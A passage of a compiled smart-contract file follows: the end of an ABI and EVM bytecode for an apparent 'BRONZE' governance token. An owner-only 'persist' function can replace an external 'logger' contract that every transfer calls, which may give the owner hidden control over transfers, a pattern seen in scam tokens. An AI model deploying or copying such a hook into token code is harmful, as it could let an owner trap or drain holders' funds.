ts":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"loggingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"persist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260008060146101000a81548160ff0219169083151502179055503480156200002b57600080fd5b506040518060400160405280600681526020017f42524f4e5a4500000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f42524f4e5a4500000000000000000000000000000000000000000000000000008152506000620000aa620001ea60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000fd81620001f260201b60201c565b508160059080519060200190620001169291906200046b565b5080600690805190602001906200012f9291906200046b565b506009600760006101000a81548160ff021916908360ff1602179055506040516200015a90620004fc565b604051809103906000f08015801562000177573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620001e4620001ce620001ea60201b60201c565b683635c9adc5dea000006200026b60201b60201c565b62000747565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002d590620005aa565b60405180910390fd5b620002fa816004546200040860201b620018ea1790919060201c565b6004819055506200035981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040860201b620018ea1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fc9190620005cc565b60405180910390a35050565b6000808284620004199190620005fa565b90508381101562000461576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004589062000588565b60405180910390fd5b8091505092915050565b828054620004799062000661565b90600052602060002090601f0160209004810192826200049d5760008555620004e9565b82601f10620004b857805160ff1916838001178555620004e9565b82800160010185558215620004e9579182015b82811115620004e8578251825591602001919060010190620004cb565b5b509050620004f891906200050a565b5090565b61020a80620041e583390190565b5b80821115620005255760008160009055506001016200050b565b5090565b600062000538601b83620005e9565b91506200054582620006f5565b602082019050919050565b60006200055f601f83620005e9565b91506200056c826200071e565b602082019050919050565b620005828162000657565b82525050565b60006020820190508181036000830152620005a38162000529565b9050919050565b60006020820190508181036000830152620005c58162000550565b9050919050565b6000602082019050620005e3600083018462000577565b92915050565b600082825260208201905092915050565b6000620006078262000657565b9150620006148362000657565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200064c576200064b62000697565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200067a57607f821691505b60208210811415620006915762000690620006c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b613a8e80620007576000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c80638da5cb5b116100f9578063c3cda52011610097578063dd62ed3e11610071578063dd62ed3e1461052f578063e7a324dc1461055f578063f1127ed81461057d578063f2fde38b146105ae576101c4565b8063c3cda520146104eb578063c44e370214610507578063c64cb5af14610525576101c4565b8063a457c2d7116100d3578063a457c2d71461043f578063a9059cbb1461046f578063b4b5ea571461049f578063b792d03f146104cf576101c4565b80638da5cb5b146103e757806395d89b41146104055780639755409e14610423576101c4565b8063587cde1e1161016657806370a082311161014057806370a082311461034d578063715018a61461037d578063782d6fe1146103875780637ecebe00146103b7576101c4565b8063587cde1e146102d15780635c19a95c146103015780636fcfff451461031d576101c4565b806320606b70116101a257806320606b701461023557806323b872dd14610253578063313ce5671461028357806339509351146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d16105ca565b6040516101de9190612e78565b60405180910390f35b61020160048036038101906101fc9190612955565b61065c565b60405161020e9190612d73565b60405180910390f35b61021f61067a565b60405161022c919061303a565b60405180910390f35b61023d610684565b60405161024a9190612d8e565b60405180910390f35b61026d600480360381019061026891906128a3565b6106a8565b60405161027a9190612d73565b60405180910390f35b61028b610781565b60405161029891906130c2565b60405180910390f35b6102bb60048036038101906102b69190612955565b610798565b6040516102c89190612d73565b60405180910390f35b6102eb60048036038101906102e6919061283e565b61084b565b6040516102f89190612d21565b60405180910390f35b61031b6004803603810190610316919061283e565b6108b4565b005b6103376004803603810190610332919061283e565b6108c1565b604051610344919061307e565b60405180910390f35b6103676004803603810190610362919061283e565b6108e4565b604051610374919061303a565b60405180910390f35b61038561092d565b005b6103a1600480360381019061039c9190612955565b610a67565b6040516103ae919061303a565b60405180910390f35b6103d160048036038101906103cc919061283e565b610e3e565b6040516103de919061303a565b60405180910390f35b6103ef610e56565b6040516103fc9190612d21565b60405180910390f35b61040d610e7f565b60405161041a9190612e78565b60405180910390f35b61043d600480360381019061043891906128f2565b610f11565b005b61045960048036038101906104549190612955565b6110c2565b6040516104669190612d73565b60405180910390f35b61048960048036038101906104849190612955565b61118f565b6040516104969190612d73565b60405180910390f35b6104b960048036038101906104b4919061283e565b6111ad565b6040516104c6919061303a565b60405180910390f35b6104e960048036038101906104e4919061283e565b61128c565b005b61050560048036038101906105009190612991565b611305565b005b61050f61159a565b60405161051c9190612d73565b60405180910390f35b61052d6115ad565b005b61054960048036038101906105449190612867565b611655565b604051610556919061303a565b60405180910390f35b6105676116dc565b6040516105749190612d8e565b60405180910390f35b61059760048036038101906105929190612a1a565b611700565b6040516105a5929190613099565b60405180910390f35b6105c860048036038101906105c3919061283e565b611741565b005b6060600580546105d9906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906132cf565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b5050505050905090565b6000610670610669611948565b8484611950565b6001905092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006106b5848484611b1b565b610776846106c1611948565b610771856040518060600160405280602881526020016139de60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610727611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006108416107a5611948565b8461083c85600260006107b6611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b611950565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6108be3382611c52565b50565b600a6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610935611948565b73ffffffffffffffffffffffffffffffffffffffff16610953610e56565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612e9a565b60405180910390fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610b18576000915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610b6791906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610c1457600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610bee91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610c95576000915050610e38565b600080600183610ca591906131f9565b90505b8163ffffffff168163ffffffff161115610dd257600060028383610ccc91906131f9565b610cd69190613194565b82610ce191906131f9565b90506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610da157806020015195505050505050610e38565b86816000015163ffffffff161015610dbb57819350610dcb565b600182610dc891906131f9565b92505b5050610ca8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e8e906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba906132cf565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b610f19611948565b73ffffffffffffffffffffffffffffffffffffffff16610f37610e56565b73ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612fba565b60405180910390fd5b60011515600360009054906101000a900460ff16151514156110bc576000821115610fc057610fbb81611dc3565b61102a565b604051610fcc906127c8565b604051809103906000f080158015610fe8573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161108993929190612d3c565b600060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050505b50505050565b60006111856110cf611948565b8461118085604051806060016040528060258152602001613a3460259139600260006110f9611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b6001905092915050565b60006111a361119c611948565b8484611b1b565b6001905092915050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611217576000611284565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361126591906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666113306105ca565b8051906020012061133f611e15565b306040516020016113539493929190612dee565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016113a49493929190612da9565b604051602081830303815290604052805190602001209050600082826040516020016113d1929190612cea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161140e9493929190612e33565b6020604051602081039080840390855afa158015611430573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612f3a565b60405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906114fc90613301565b919050558914611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612fda565b60405180910390fd5b87421115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612f7a565b60405180910390fd5b61158e818b611c52565b50505050505050505050565b600360009054906101000a900460ff1681565b6115b5611948565b73ffffffffffffffffffffffffffffffffffffffff166115d3610e56565b73ffffffffffffffffffffffffffffffffffffffff1614611629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162090612fba565b60405180910390fd5b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611749611948565b73ffffffffffffffffffffffffffffffffffffffff16611767610e56565b73ffffffffffffffffffffffffffffffffffffffff16146117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612eda565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846118f99190613104565b90508381101561193e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193590612f1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b79061301a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612efa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b0e919061303a565b60405180910390a3505050565b611b26838383611e22565b611bef600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836120bb565b505050565b6000838311158290611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c339190612e78565b60405180910390fd5b508284611c4991906131c5565b90509392505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611cc1846108e4565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611dbd8284836120bb565b50505050565b611dcb61236a565b15611e125780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000804690508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990612eba565b60405180910390fd5b611f0d838383612380565b611f79816040518060600160405280602681526020016139b860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae919061303a565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120f75750600081115b1561236557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612230576000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161219a576000612207565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846121e891906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061221e848361241690919063ffffffff16565b905061222c8684848461246f565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612364576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122ce57600061233b565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461231c91906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061235284836118ea90919063ffffffff16565b90506123608584848461246f565b5050505b5b505050565b60008060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b81526004016123df93929190612d3c565b600060405180830381600087803b1580156123f957600080fd5b505af115801561240d573d6000803e3d6000fd5b50505050505050565b60008282111561245b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245290612f5a565b60405180910390fd5b818361246791906131c5565b905092915050565b6000612493436040518060600160405280602e8152602001613a06602e9139612772565b905060008463ffffffff1611801561253157508063ffffffff16600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876124fb91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156125ab5781600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761258591906131f9565b63ffffffff1663ffffffff1681526020019081526020016000206001018190555061271b565b60405180604001604052808263ffffffff16815260200183815250600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561266a919061315a565b63ffffffff16116126b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a790612f9a565b60405180910390fd5b6001846126bd919061315a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612763929190613055565b60405180910390a25050505050565b6000640100000000831082906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b59190612e78565b60405180910390fd5b5082905092915050565b61020a806137ae83390190565b6000813590506127e48161373a565b92915050565b6000813590506127f981613751565b92915050565b60008135905061280e81613768565b92915050565b6000813590506128238161377f565b92915050565b60008135905061283881613796565b92915050565b60006020828403121561285057600080fd5b600061285e848285016127d5565b91505092915050565b6000806040838503121561287a57600080fd5b6000612888858286016127d5565b9250506020612899858286016127d5565b9150509250929050565b6000806000606084860312156128b857600080fd5b60006128c6868287016127d5565b93505060206128d7868287016127d5565b92505060406128e8868287016127ff565b9150509250925092565b6000806000806080858703121561290857600080fd5b6000612916878288016127d5565b9450506020612927878288016127d5565b9350506040612938878288016127ff565b9250506060612949878288016127d5565b91505092959194509250565b6000806040838503121561296857600080fd5b6000612976858286016127d5565b9250506020612987858286016127ff565b9150509250929050565b60008060008060008060c087890312156129aa57600080fd5b60006129b889828a016127d5565b96505060206129c989828a016127ff565b95505060406129da89828a016127ff565b94505060606129eb89828a01612829565b93505060806129fc89828a016127ea565b92505060a0612a0d89828a016127ea565b9150509295509295509295565b60008060408385031215612a2d57600080fd5b6000612a3b858286016127d5565b9250506020612a4c85828601612814565b9150509250929050565b612a5f8161322d565b82525050565b612a6e8161323f565b82525050565b612a7d8161324b565b82525050565b612a94612a8f8261324b565b61334a565b82525050565b6000612aa5826130dd565b612aaf81856130e8565b9350612abf81856020860161329c565b612ac8816133e1565b840191505092915050565b6000612ae06021836130e8565b9150612aeb826133f2565b604082019050919050565b6000612b036023836130e8565b9150612b0e82613441565b604082019050919050565b6000612b266026836130e8565b9150612b3182613490565b604082019050919050565b6000612b496022836130e8565b9150612b54826134df565b604082019050919050565b6000612b6c6002836130f9565b9150612b778261352e565b600282019050919050565b6000612b8f601b836130e8565b9150612b9a82613557565b602082019050919050565b6000612bb26020836130e8565b9150612bbd82613580565b602082019050919050565b6000612bd5601e836130e8565b9150612be0826135a9565b602082019050919050565b6000612bf86020836130e8565b9150612c03826135d2565b602082019050919050565b6000612c1b6030836130e8565b9150612c26826135fb565b604082019050919050565b6000612c3e6020836130e8565b9150612c498261364a565b602082019050919050565b6000612c61601c836130e8565b9150612c6c82613673565b602082019050919050565b6000612c846025836130e8565b9150612c8f8261369c565b604082019050919050565b6000612ca76024836130e8565b9150612cb2826136eb565b604082019050919050565b612cc681613275565b82525050565b612cd58161327f565b82525050565b612ce48161328f565b82525050565b6000612cf582612b5f565b9150612d018285612a83565b602082019150612d118284612a83565b6020820191508190509392505050565b6000602082019050612d366000830184612a56565b92915050565b6000606082019050612d516000830186612a56565b612d5e6020830185612a56565b612d6b6040830184612cbd565b949350505050565b6000602082019050612d886000830184612a65565b92915050565b6000602082019050612da36000830184612a74565b92915050565b6000608082019050612dbe6000830187612a74565b612dcb6020830186612a56565b612dd86040830185612cbd565b612de56060830184612cbd565b95945050505050565b6000608082019050612e036000830187612a74565b612e106020830186612a74565b612e1d6040830185612cbd565b612e2a6060830184612a56565b95945050505050565b6000608082019050612e486000830187612a74565b612e556020830186612cdb565b612e626040830185612a74565b612e6f6060830184612a74565b95945050505050565b60006020820190508181036000830152612e928184612a9a565b905092915050565b60006020820190508181036000830152612eb381612ad3565b9050919050565b60006020820190508181036000830152612ed381612af6565b9050919050565b60006020820190508181036000830152612ef381612b19565b9050919050565b60006020820190508181036000830152612f1381612b3c565b9050919050565b60006020820190508181036000830152612f3381612b82565b9050919050565b60006020820190508181036000830152612f5381612ba5565b9050919050565b60006020820190508181036000830152612f7381612bc8565b9050919050565b60006020820190508181036000830152612f9381612beb565b9050919050565b60006020820190508181036000830152612fb381612c0e565b9050919050565b60006020820190508181036000830152612fd381612c31565b9050919050565b60006020820190508181036000830152612ff381612c54565b9050919050565b6000602082019050818103600083015261301381612c77565b9050919050565b6000602082019050818103600083015261303381612c9a565b9050919050565b600060208201905061304f6000830184612cbd565b92915050565b600060408201905061306a6000830185612cbd565b6130776020830184612cbd565b9392505050565b60006020820190506130936000830184612ccc565b92915050565b60006040820190506130ae6000830185612ccc565b6130bb6020830184612cbd565b9392505050565b60006020820190506130d76000830184612cdb565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061310f82613275565b915061311a83613275565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314f5761314e613354565b5b828201905092915050565b60006131658261327f565b91506131708361327f565b92508263ffffffff0382111561318957613188613354565b5b828201905092915050565b600061319f8261327f565b91506131aa8361327f565b9250826131ba576131b9613383565b5b828204905092915050565b60006131d082613275565b91506131db83613275565b9250828210156131ee576131ed613354565b5b828203905092915050565b60006132048261327f565b915061320f8361327f565b92508282101561322257613221613354565b5b828203905092915050565b600061323882613255565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b600060028204905060018216806132e757607f821691505b602082108114156132fb576132fa6133b2565b5b50919050565b600061330c82613275565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333f5761333e613354565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e6560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f64647265737300000000000000000000000